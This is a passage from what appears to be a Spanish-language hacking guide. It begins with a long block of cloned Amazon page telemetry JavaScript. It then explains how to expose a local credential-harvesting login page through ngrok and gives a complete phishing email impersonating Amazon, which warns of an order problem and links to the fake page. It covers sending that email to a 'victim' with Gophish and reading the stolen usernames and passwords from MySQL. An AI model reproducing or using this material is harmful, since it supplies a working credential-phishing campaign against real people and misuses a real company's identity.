                            z(t, e), t[d] = t[d] || e[o]("cel_widget_id") || e.id, t.legacyId = e[o]("cel_widget_id") || e.id, t.type = t.type || c
                        }
                    }), w[1] = function(t, e) {
                        t.forEach(function(t) {
                            t[n] && t[n].constructor && "NodeList" === t[n].constructor.name && Array.prototype.forEach.call(t[n], function(t) {
                                _.unshift(X(2, t, e))
                            })
                        })
                    }, w[2] = function(r, c) {
                        a in r && f in r && O.forEach(function(t) {
                            for (var e = t.selector, n = r[f](e), i = r[a](e), o = i.length - 1; 0 <= o; o--) _.unshift(X(3, {
                                e: i[o],
                                s: t
                            }, c));
                            n && _.unshift(X(3, {
                                e: r,
                                s: t
                            }, c))
                        })
                    }, w[3] = function(t, e) {
                        var n = t.e;
                        K(n) || Y("csa", n, t.s.entity, e)
                    }, w[4] = function() {
                        u.register(t, {
                            instance: D
                        })
                    }, new k[e](function(t) {
                        T(t, u.time(), 1)
                    }).observe(U, {
                        childList: !0,
                        subtree: !0
                    }), T(U, u.time(), 2), T(null, u.time(), 4), u.on("$content.export", function(e) {
                        Object.keys(e).forEach(function(t) {
                            x[t] = e[t]
                        })
                    }))
                });
                csa.plugin(function(o) {
                    var i, t = "ContentImpressions",
                        e = "KillSwitch.",
                        n = "IntersectionObserver",
                        r = "getAttribute",
                        s = "dataset",
                        c = "intersectionRatio",
                        a = "csaCId",
                        m = 1e3,
                        l = o.global,
                        f = o.config,
                        u = f[e + t],
                        v = f[e + t + ".ContentViews"],
                        g = ((l.performance || {}).timing || {}).navigationStart || o.time(),
                        d = {};

                    function h(t) {
                        t && (t.v = 1, function(t) {
                            t.vt = o.time(), t.el.log({
                                schemaId: "<ns>.ContentView.4",
                                timeToViewed: t.vt - t.el.rt,
                                pageFirstPaintToElementViewed: t.vt - g
                            })
                        }(t))
                    }

                    function I(t) {
                        t && !t.it && (t.i = o.time() - t.is > m, function(t) {
                            t.it = o.time(), t.el.log({
                                schemaId: "<ns>.ContentImpressed.3",
                                timeToImpressed: t.it - t.el.rt,
                                pageFirstPaintToElementImpressed: t.it - g
                            })
                        }(t))
                    }!u && l[n] && (i = new l[n](function(t) {
                        var n = o.time();
                        t.forEach(function(t) {
                            var e = function(t) {
                                if (t && t[r]) return d[t[s][a]]
                            }(t.target);
                            if (e) {
                                o.emit("$content.intersection", {
                                    meta: e.el,
                                    t: n,
                                    e: t
                                });
                                var i = t.intersectionRect;
                                t.isIntersecting && 0 < i.width && 0 < i.height && (v || e.v || h(e), .5 <= t[c] && !e.is && (e.is = n, e.timer = o.timeout(function() {
                                    I(e)
                                }, m))), t[c] < .5 && !e.it && e.timer && (l.clearTimeout(e.timer), e.is = 0, e.timer = 0)
                            }
                        })
                    }, {
                        threshold: [0, .5, .99]
                    }), o.on("$content.register", function(t) {
                        var e = t.el;
                        e && (d[t.id] = {
                            el: t,
                            v: 0,
                            i: 0,
                            is: 0,
                            vt: 0,
                            it: 0
                        }, i.observe(e))
                    }))
                });
                csa.plugin(function(e) {
                    e.config["KillSwitch.ContentLatency"] || e.emit("$content.export", {
                        mark: function(t, n) {
                            var o = this;
                            o.t || (o.t = e("Timers", {
                                logger: o.l,
                                schemaId: "<ns>.ContentLatency.4",
                                logOptions: o.dlo
                            })), o.t("mark", t, n)
                        }
                    })
                });
                csa.plugin(function(t) {
                    function n(i, e, o) {
                        var c = {};

                        function r(t, n, e) {
                            t in c && o <= n - c[t].s && (function(n, e, i) {
                                if (!p) return;
                                E(function(t) {
                                    T(n, t), t.w[n][e] = a((t.w[n][e] || 0) + i)
                                })
                            }(t, i, n - c[t].d), c[t].d = n), e || delete c[t]
                        }
                        this.update = function(t, n) {
                            n.isIntersecting && e <= n.intersectionRatio ? function(t, n) {
                                t in c || (c[t] = {
                                    s: n,
                                    d: n
                                })
                            }(t, u()) : r(t, u())
                        }, this.stopAll = function(t) {
                            var n = u();
                            for (var e in c) r(e, n, t)
                        }, this.reset = function() {
                            var t = u();
                            for (var n in c) c[n].s = t, c[n].d = t
                        }
                    }
                    var e = t.config,
                        u = t.time,
                        i = "ContentInteractionsSummary",
                        o = e[i + ".FlushInterval"] || 5e3,
                        c = e[i + ".FlushBackoff"] || 1.5,
                        r = t.global,
                        s = t.on,
                        a = Math.floor,
                        f = (r.document || {}).documentElement || {},
                        l = ((r.performance || {}).timing || {}).responseStart || t.time(),
                        d = o,
                        m = 0,
                        p = !0,
                        v = t.UUID(),
                        g = t("Events", {
                            producerId: "csa",
                            lob: e.lob || "0"
                        }),
                        w = new n("it0", 0, 0),
                        I = new n("it50", .5, 1e3),
                        h = new n("it100", .99, 0),
                        b = {},
                        A = {};

                    function $() {
                        w.stopAll(!0), I.stopAll(!0), h.stopAll(!0), S()
                    }

                    function C() {
                        w.reset(), I.reset(), h.reset(), S()
                    }

                    function S() {
                        d && (clearTimeout(m), m = t.timeout($, d), d *= c)
                    }

                    function U(n) {
                        E(function(t) {
                            T(n, t), t.w[n].mc = (t.w[n].mc || 0) + 1
                        })
                    }

                    function E(t) {
                        g("log", {
                            messageId: v,
                            schemaId: "<ns>.ContentInteractionsSummary.2",
                            w: {},
                            __merge: t
                        }, {
                            ent: {
                                page: ["requestId"]
                            }
                        })
                    }

                    function T(t, n) {
                        t in n.w || (n.w[t] = {})
                    }
                    e["KillSwitch." + i] || (s("$content.intersection", function(t) {
                        if (t && t.meta && t.e) {
                            var n = t.meta.id;
                            if (n in b) {
                                var e = t.e.boundingClientRect || {};
                                e.width < 5 || e.height < 5 || (w.update(n, t.e), I.update(n, t.e), h.update(n, t.e), !t.e.isIntersecting || n in A || (A[n] = 1, function(n, e) {
                                    E(function(t) {
                                        T(n, t), t.w[n].ttfv = a(e)
                                    })
                                }(n, u() - l)))
                            }
                        }
                    }), s("$content.register", function(t) {
                        (t.e || {}).slotId && (b[t.id] = {}, function(e) {
                            E(function(t) {
                                var n = e.id;
                                T(n, t), t.w[n].sid = (e.e || {}).slotId, t.w[n].cid = (e.e || {}).contentId
                            })
                        }(t))
                    }), s("$beforePageTransition", function() {
                        $(), C(), v = t.UUID(), S()
                    }), s("$beforeunload", function() {
                        w.stopAll(), I.stopAll(), h.stopAll(), d = null
                    }), s("$visible", function(t) {
                        t ? C() : ($(), clearTimeout(m)), p = t
                    }, {
                        buffered: 1
                    }), s(f, "click", function(t) {
                        for (var n = t.target, e = 25; n && 0 < e;) {
                            var i = (n.dataset || {}).csaCId;
                            i && U(i), n = n.parentElement, e -= 1
                        }
                    }, {
                        capture: !0,
                        passive: !0
                    }), S())
                });
                csa.plugin(function(d) {
                    var t, o, e = "normal",
                        c = "reload",
                        i = "history",
                        s = "new-tab",
                        n = "ajax",
                        r = 1,
                        a = 2,
                        u = "lastActive",
                        l = "lastInteraction",
                        p = "used",
                        f = "csa-tabbed-browsing",
                        y = "visibilityState",
                        g = "page",
                        v = "experience",
                        b = "request",
                        m = {
                            "back-memory-cache": 1,
                            "tab-switch": 1,
                            "history-navigation-page-cache": 1
                        },
                        I = "<ns>.TabbedBrowsing.4",
                        T = "visible",
                        h = d.global,
                        x = d("Events", {
                            producerId: "csa",
                            lob: d.config.lob || "0"
                        }),
                        w = h.location || {},
                        S = h.document,
                        q = h.JSON,
                        P = ((h.performance || {}).navigation || {}).type,
                        z = d.store,
                        E = d.on,
                        $ = d.storageSupport(),
                        k = !1,
                        A = {},
                        C = {},
                        O = {},
                        j = {},
                        B = {},
                        J = !1,
                        N = !1,
                        R = !1,
                        D = 0;

                    function F(e) {
                        try {
                            return q.parse(z(f, void 0, {
                                session: e
                            }) || "{}") || {}
                        } catch (e) {
                            d.error('Could not parse storage value for key "' + f + '": ' + e)
                        }
                        return {}
                    }

                    function G(e, i) {
                        z(f, q.stringify(i || {}), {
                            session: e
                        })
                    }

                    function H(e) {
                        var i = C.tid || e.id,
                            t = A[u] || {};
                        t.tid === i && (t.pid = e.id, t.ent = B), j = {
                            pid: e.id,
                            tid: i,
                            ent: B,
                            lastInteraction: C[l] || {},
                            initialized: !0
                        }, O = {
                            lastActive: t,
                            lastInteraction: A[l] || {},
                            time: d.time()
                        }
                    }

                    function K(e) {
                        var i = e === s,
                            t = S.referrer,
                            n = !(t && t.length) || !~t.indexOf(w.origin || ""),
                            r = i && n,
                            a = {
                                type: e,
                                toTabId: j.tid,
                                toPageId: j.pid,
                                transitTime: d.time() - A.time || null
                            };
                        r || function(e, i, t) {
                            var n = e === c,
                                r = i ? A[u] || {} : C,
                                a = A[l] || {},
                                d = C[l] || {},
                                o = i ? a : d;
                            t.fromTabId = r.tid, t.fromPageId = r.pid;
                            var s = r.ent || {};
                            s.rid && (t.fromRequestId = s.rid || null), s.ety && (t.fromExperienceType = s.ety || null), s.esty && (t.fromExperienceSubType = s.esty || null), n || !o.id || o[p] || (t.interactionId = o.id || null, o.sid && (t.interactionSlotId = o.sid || null), a.id === o.id && (a[p] = !0), d.id === o.id && (d[p] = !0))
                        }(e, i, a), x("log", {
                            navigation: a,
                            schemaId: I
                        }, {
                            ent: {
                                page: ["pageType", "subPageType", "requestId"]
                            }
                        })
                    }

                    function L(e) {
                        R = function(e) {
                                return e && e in m
                            }(e.transitionType),
                            function() {
                                A = F(!1), C = F(!0);
                                var e = A[l],
                                    i = C[l],
                                    t = !1,
                                    n = !1;
                                e && i && e.id === i.id && e[p] !== i[p] && (t = !e[p], n = !i[p], i[p] = e[p] = !0, t && G(!1, A), n && G(!0, C))
                            }(), H(e), J = !0,
                            function(e) {
                                var i, t;
                                i = Q(), t = U(), (i || t) && H(e)
                            }(e), D = 1
                    }

                    function M() {
                        k && !R ? K(n) : (k = !0, K(P === a || R ? i : P === r ? C.initialized ? c : s : C.initialized ? e : s))
                    }

                    function Q() {
                        var e = t,
                            i = {};
                        return !!(J && e && e.e && e.w) && (e.w("entities", function(e) {
                            i = e || {}
                        }), C[l] = {
                            id: e.e.messageId,
                            sid: i.slotId,
                            used: !(A[l] = {
                                id: e.e.messageId,
                                sid: i.slotId,
                                used: !1
                            })
                        }, !(t = null))
                    }

                    function U() {
                        var e = !1;
                        if (N = S[y] === T, J) {
                            var i = A[u] || {};
                            e = function(e, i, t, n) {
                                var r = !1,
                                    a = e[u];
                                return N ? a && a.tid === j.tid && a[T] && a.pid === t || (e[u] = {
                                    visible: !0,
                                    pid: t,
                                    tid: i,
                                    ent: n
                                }, r = !0) : a && a.tid === j.tid && a[T] && (r = !(a[T] = !1)), r
                            }(A, C.tid || i.tid || j.tid, C.pid || i.pid || j.pid, C.ent || i.ent || j.ent)
                        }
                        return e
                    }
                    $.local && $.session && q && S && y in S && (o = function() {
                        try {
                            return h.self !== h.top
                        } catch (e) {
                            return !0
                        }
                    }(), E("$entities.set", function(e) {
                        if (!o && e) {
                            var i = (e[b] || {}).id || (e[g] || {}).requestId,
                                t = (e[v] || {}).experienceType || (e[g] || {}).pageType,
                                n = (e[v] || {}).experienceSubType || (e[g] || {}).subPageType,
                                r = !B.rid && i || !B.ety && t || !B.esty && n;
                            if (B.rid = B.rid || i, B.ety = B.ety || t, B.esty = B.esty || n, r && D) {
                                var a = A[u] || {};
                                a.tid === C.tid && (a.ent = B, G(!1, A)), C.ent = B, G(!0, C)
                            }
                        }
                    }, {
                        buffered: 1
                    }), E("$pageChange", function(e) {
                        o || (L(e), M(), G(!1, O), G(!0, j), C = j, A = O)
                    }, {
                        buffered: 1
                    }), E("$content.interaction", function(e) {
                        t = e, Q() && (G(!1, A), G(!0, C))
                    }), E(S, "visibilitychange", function() {
                        !o && U() && G(!1, A)
                    }, {
                        capture: !1,
                        passive: !0
                    }))
                });
                csa.plugin(function(c) {
                    var e = c("Metrics", {
                        producerId: "csa"
                    });
                    c.on(c.global, "pageshow", function(c) {
                        c && c.persisted && e("recordMetric", "bfCache", 1)
                    })
                });
                csa.plugin(function(n) {
                    var e, t, i, o, r, a, c, u, f, s, l, d, m, p, g, v, h = "hasFocus",
                        b = "$app.",
                        y = "avail",
                        S = "client",
                        T = "document",
                        $ = "inner",
                        I = "offset",
                        P = "screen",
                        w = "scroll",
                        D = "Width",
                        E = "Height",
                        F = y + D,
                        O = y + E,
                        q = S + D,
                        x = S + E,
                        z = $ + D,
                        C = $ + E,
                        H = I + D,
                        K = I + E,
                        M = w + D,
                        W = w + E,
                        X = n.config,
                        Y = X["KillSwitch.PageInteractionsSummary"],
                        j = n("Events", {
                            producerId: "csa",
                            lob: X.lob || "0"
                        }),
                        k = 1,
                        A = n.global || {},
                        B = n.time,
                        G = n.on,
                        J = n.once,
                        L = A[T] || {},
                        N = A[P] || {},
                        Q = A.Math || {},
                        R = Q.abs,
                        U = Q.max,
                        V = Q.ceil,
                        Z = ((A.performance || {}).timing || {}).responseStart,
                        _ = function() {
                            return L[h]()
                        },
                        nn = 1,
                        en = 100,
                        tn = {},
                        on = 1;

                    function rn() {
                        c = t = o = r = e, i = 0, a = u = f = s = 0, un(), cn()
                    }

                    function an() {
                        Z && !o && (c = V((o = l) - Z), on = 1)
                    }

                    function cn() {
                        u = V(U(u, m + v)), d && (f = V(U(f, d + g))), on = 1
                    }

                    function un() {
                        l = B(), d = R(A.pageXOffset || 0), m = R(A.pageYOffset || 0), p = 0 < d || 0 < m, g = A[z] || 0, v = A[C] || 0
                    }

                    function fn() {
                        un(), an(),
                            function() {
                                var n = m - i;
                                t && !(t && t <= l) || (n && (++a, on = 1), i = m, n), t = l + en
                            }(), cn()
                    }

                    function sn() {
                        if (r) {
                            var n = V(B() - r);
                            s += n, r = e, on = 0 < n
                        }
                    }

                    function ln() {
                        r = r || B()
                    }

                    function dn(n, e, t, i) {
                        e[n + D] = V(t || 0), e[n + E] = V(i || 0)
                    }

                    function mn(n) {
                        var e = n === tn,
                            t = _();
                        if (t || on) {
                            if (!e) {
                                if (!k) return;
                                k = 0, t && sn()
                            }
                            var i = function() {
                                    var n = {},
                                        e = L.documentElement || {},
                                        t = L.body || {};
                                    return dn("availableScreen", n, N[F], N[O]), dn(T, n, U(t[M] || 0, t[H] || 0, e[q] || 0, e[M] || 0, e[H] || 0), U(t[W] || 0, t[K] || 0, e[x] || 0, e[W] || 0, e[K] || 0)), dn(P, n, N.width, N.height), dn("viewport", n, A[z], A[C]), n
                                }(),
                                o = function() {
                                    var n = {
                                        scrollCounts: a,
                                        reachedDepth: u,
                                        horizontalScrollDistance: f,
                                        dwellTime: s
                                    };
                                    return "number" == typeof c && (n.clientTimeToFirstScroll = c), n
                                }();
                            e ? on = 0 : (rn(), Z = B(), t && (r = Z)), j("log", {
                                activity: o,
                                dimensions: i,
                                schemaId: "<ns>.PageInteractionsSummary.2"
                            }, {
                                ent: {
                                    page: ["pageType", "subPageType", "requestId"]
                                }
                            })
                        }
                    }

                    function pn() {
                        sn(), mn(tn)
                    }

                    function gn(n, e) {
                        return function() {
                            nn = e, n()
                        }
                    }

                    function vn() {
                        _ = function() {
                            return nn
                        }, nn && !r && (r = B())
                    }
                    "function" != typeof L[h] || Y || (rn(), p && an(), G(A, w, fn, {
                        passive: !0
                    }), G(A, "blur", pn), G(A, "focus", gn(ln, 1)), J(b + "android", vn), J(b + "ios", vn), G(b + "pause", gn(pn, 0)), G(b + "resume", gn(ln, 1)), G(b + "resign", gn(pn, 0)), G(b + "active", gn(ln, 1)), _() && (r = Z || B()), J("$beforeunload", mn), G("$beforeunload", mn), G("$document.hidden", pn), G("$beforePageTransition", mn), G("$afterPageTransition", function() {
                        on = k = 1
                    }))
                });
                csa.plugin(function(e) {
                    var o, n, r = "<ns>.Navigator.5",
                        a = e.global,
                        i = a.navigator || {},
                        d = i.connection || {},
                        c = a.Math.round,
                        t = e("Events", {
                            producerId: "csa",
                            lob: e.config.lob || "0"
                        });

                    function l() {
                        o = {
                            network: {
                                downlink: void 0,
                                downlinkMax: void 0,
                                rtt: void 0,
                                type: void 0,
                                effectiveType: void 0,
                                saveData: void 0
                            },
                            language: void 0,
                            doNotTrack: void 0,
                            hardwareConcurrency: void 0,
                            deviceMemory: void 0,
                            cookieEnabled: void 0,
                            webdriver: void 0
                        }, v(), o.language = i.language || null, o.doNotTrack = function() {
                            switch (i.doNotTrack) {
                                case "1":
                                    return "enabled";
                                case "0":
                                    return "disabled";
                                case "unspecified":
                                    return i.doNotTrack;
                                default:
                                    return null
                            }
                        }(), o.hardwareConcurrency = "hardwareConcurrency" in i ? c(i.hardwareConcurrency || 0) : null, o.deviceMemory = "deviceMemory" in i ? c(i.deviceMemory || 0) : null, o.cookieEnabled = "cookieEnabled" in i ? i.cookieEnabled : null, o.webdriver = "webdriver" in i ? i.webdriver : null
                    }

                    function u() {
                        t("log", {
                            network: (n = {}, Object.keys(o.network).forEach(function(e) {
                                n[e] = o.network[e] + ""
                            }), n),
                            language: o.language,
                            doNotTrack: o.doNotTrack,
                            hardwareConcurrency: o.hardwareConcurrency,
                            deviceMemory: o.deviceMemory,
                            cookieEnabled: o.cookieEnabled,
                            webdriver: o.webdriver,
                            schemaId: r
                        }, {
                            ent: {
                                page: ["pageType", "subPageType", "requestId"]
                            }
                        })
                    }

                    function v() {
                        ! function(n) {
                            Object.keys(o.network).forEach(function(e) {
                                o.network[e] = n[e]
                            })
                        }({
                            downlink: "downlink" in d ? c(d.downlink || 0) : null,
                            downlinkMax: "downlinkMax" in d ? c(d.downlinkMax || 0) : null,
                            rtt: "rtt" in d ? (d.rtt || 0).toFixed() : null,
                            type: d.type || null,
                            effectiveType: d.effectiveType || null,
                            saveData: "saveData" in d ? d.saveData : null
                        })
                    }

                    function k() {
                        v(), u()
                    }

                    function w() {
                        l(), u()
                    }
                    l(), u(), e.on("$afterPageTransition", w), e.on(d, "change", k)
                });


                ue.exec(function(d, c) {
                    function g(e, c) {
                        e && ue.tag(e + c);
                        return !!e
                    }

                    function n() {
                        for (var e = RegExp("^https://(.*\.(images|ssl-images|media)-amazon\.com|" + c.location.hostname + ")/images/", "i"), d = {}, h = 0, k = c.performance.getEntriesByType("resource"), l = !1, b, a, m, f = 0; f < k.length; f++)
                            if (a = k[f], 0 < a.transferSize && a.transferSize >= a.encodedBodySize && (b = e.exec(String(a.name))) && 3 === b.length) {
                                a: {
                                    b = a.serverTiming || [];
                                    for (a = 0; a < b.length; a++)
                                        if ("provider" === b[a].name) {
                                            b = b[a].description;
                                            break a
                                        } b = void 0
                                }
                                b && (l || (l = g(b, "_cdn_fr")),
                                    a = d[b] = (d[b] || 0) + 1, a > h && (m = b, h = a))
                            } g(m, "_cdn_mp")
                    }
                    d.ue && "function" === typeof d.ue.tag && c.performance && c.location && n()
                }, "cdnTagging")(ue_csm, window);


            }

            /* ◬ */
        </script>

    </div>

    <noscript>
        <img height="1" width="1" style='display:none;visibility:hidden;' src='//fls-eu.amazon.com/1/batch/1/OP/A1RKKUPIHCS9HS:260-7076577-0538233:KE82YVBED2PEDHPE6KTZ$uedata=s:%2Fap%2Fuedata%3Fnoscript%26id%3DKE82YVBED2PEDHPE6KTZ:0' alt="" />
    </noscript>

    <script>
        window.ue && ue.count && ue.count('CSMLibrarySize', 48875)
    </script>
</body>

</html>

Perspectiva:

Una vez estemos aqui ya se habrian escrito las credenciales en la base de datos, pero cuando le den a Iniciar sesión les llevara al verdadero login de la pagina oficial...

Pero esto estara en local por lo que solo nosotros podremos verlo, para ponerlo de forma publica tunelizando nuestro servidor local de apache2 a un dominio publico por asi decirlo lo haremos con la herramienta ngrok...

ngrok [Configuracion]

URL = https://ngrok.com/download

Primero lo descargaremos, seleccionaremos el S.O. acorde a donde se este configurando con la arquitectura correspondiente...

En la misma pagina crearemos una cuenta para tener una API Key, una vez creada la cuenta y descargado el archivo, descomprimiremos el archivo en la terminal...

tar -xvzf <FILE>.tgz

Esto nos dara el archivo ngrok sera el ejecutable que tunelizara el localhost:7755 (127.0.0.1:7755) en el respectivo puerto que lo configuramos de la siguiente manera con nuestra API Key...

URL (API Key) = https://dashboard.ngrok.com/get-started/your-authtoken

Aqui podremos ver nuestra API para poder hacer lo siguiente...

./ngrok authtoken <API Key>
./ngrok http 7755

Esto iniciara la tunelizacion del localhost proporcionando asi la URL a la que nos tenemos que conectar para poder visualizar que todo esta funcionando correctamente y la que tendremos que meter en el codigo del email de la herramienta Gophish...

Perspectiva:

En mi caso me proporciono https://9b19-90-169-44-222.ngrok-free.app pero por seguridad y que no les aparezca al usuario la interfaz de ngrok detallaremos dode quieres que se redirija al usuario de que archivo de la pagina, quedando de la siguiente forma...

URL = https://9b19-90-169-44-222.ngrok-free.app/index.php

Asi nos aseguramos que se muestre el index.php y esa URL es un ejemplo de lo que me salio a mi, pero puede ser distinta...

Una vez que tengamos la URL lo cambiaremos en Gophish en la seccion de Tempalte Email donde pone {{.URL}} lo sustituiremos por https://9b19-90-169-44-222.ngrok-free.app/index.php por lo que cuando den a un link les llevara al de nuestro localhost tunelizado por ngrok quedando de la siguiente manera...

<html>
<head>
	<title></title>
	<style type="text/css">.input_letter {
font-size: 17px;
font-weight: bold;
}

.line {
color: grey;
height: 0.1px;
}

.line_head {
color: orange;
height: 10px;
background-color: orange;
border: none;
margin-top: 0px;
}

.box {
background-color: rgba(220, 220, 220,0.45);
border-radius: 3px;
padding: 10px;
font-size: 12.5px;
color: rgb(130, 130, 130);
}

span.letter {
font-family: Verdana, Geneva, Thaoma, sans-serif;
}

body {
font-family: Verdana, Geneva, Thaoma, sans-serif;
color: black;
}
	</style>
</head>
<body>
<hr class="line_head" />
<p><img src="https://www.sosgats.org/wp-content/uploads/2017/01/logo-amazon.jpg" width="300" /></p>

<hr class="line" />
<p>Estimado/a cliente,<br />
<br />
Lamentamos informarle que ha habido un problema con uno de sus pedidos recientes en Amazon. Para resolver este problema y asegurarnos de que reciba su pedido a tiempo, necesitamos que confirme algunos detalles de su cuenta.<br />
<br />
Si no resuelve este problema, es posible que su pedido se retrase o sea cancelado. Agradecemos su pronta atenci&oacute;n a este asunto.<br />
<br />
Si tiene alguna pregunta o necesita asistencia adiccional, no dude en contactarnos a traves de nuestro servicio de atenci&oacute;n al cliente.<br />
<br />
Atentamente,<br />
<br />
Equipo de Atenci&oacute;n al Cliente Amazon.</p>

<p><a href="https://9b19-90-169-44-222.ngrok-free.app/index.php"><input class="input_letter" style="background-color: orange; border: none; border-radius: 3px; padding: 15px 32px;" type="submit" value="Seguimiento de tu pedido" /></a></p>

<div class="box"><span class="letter">Si en el futuro prefieres no recibir correos electr&oacute;nicos de Amazon de este tipo, selecciona la exluci&oacute;n voluntaria <a href="https://9b19-90-169-44-222.ngrok-free.app/index.php">aqu&iacute;</a></span><br />
<br />
<span class="letter">Referencia AKDFGD27DKIEHFU6-JDLJDJS423ILFPBNGS Amazon EU Sarl. Luxemburgo, Reg# B-1810102, 5 Rue Plaetis, L-23824 Luxemburgo. VAT # LU 2026781.</span><br />
&nbsp;
<p><img src="https://niveldecalidad.com/wp-content/uploads/2022/09/PAGINA_AMAZON_2-02.png" width="100" /></p>
</div>
</body>
</html>

Lo guardamos y ya podremos enviarlo al usuario victima de la siguiente manera...

Volvemos por donde lo dejamos en la herramienta Gophish en la zona de Campaigns dejando la configuracion que mencione anteriormente y estando en la parte de Send Email pondremos el email del usuario victima y le daremos al boton de Send una vez hecho esto, ya le habria llegado al usuario y solo seria cuestion de esperar...

Si el usuario hubiera picado y hubiera introducido las credenciales en la pagina del login phishing lo veremos de la siguiente manera llendo a mysql y haciendo lo siguiente...

mysql -h localhost -u root -proot
USE phishing_db;
SELECT * FROM credentials;

Info:

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | root     |
+----+----------+----------+
1 row in set (0.020 sec)

Y como veremos las credenciales fueron registradas perfectamente...

PreviousPhishing - ToolsNextBadUSB

Last updated 3 months ago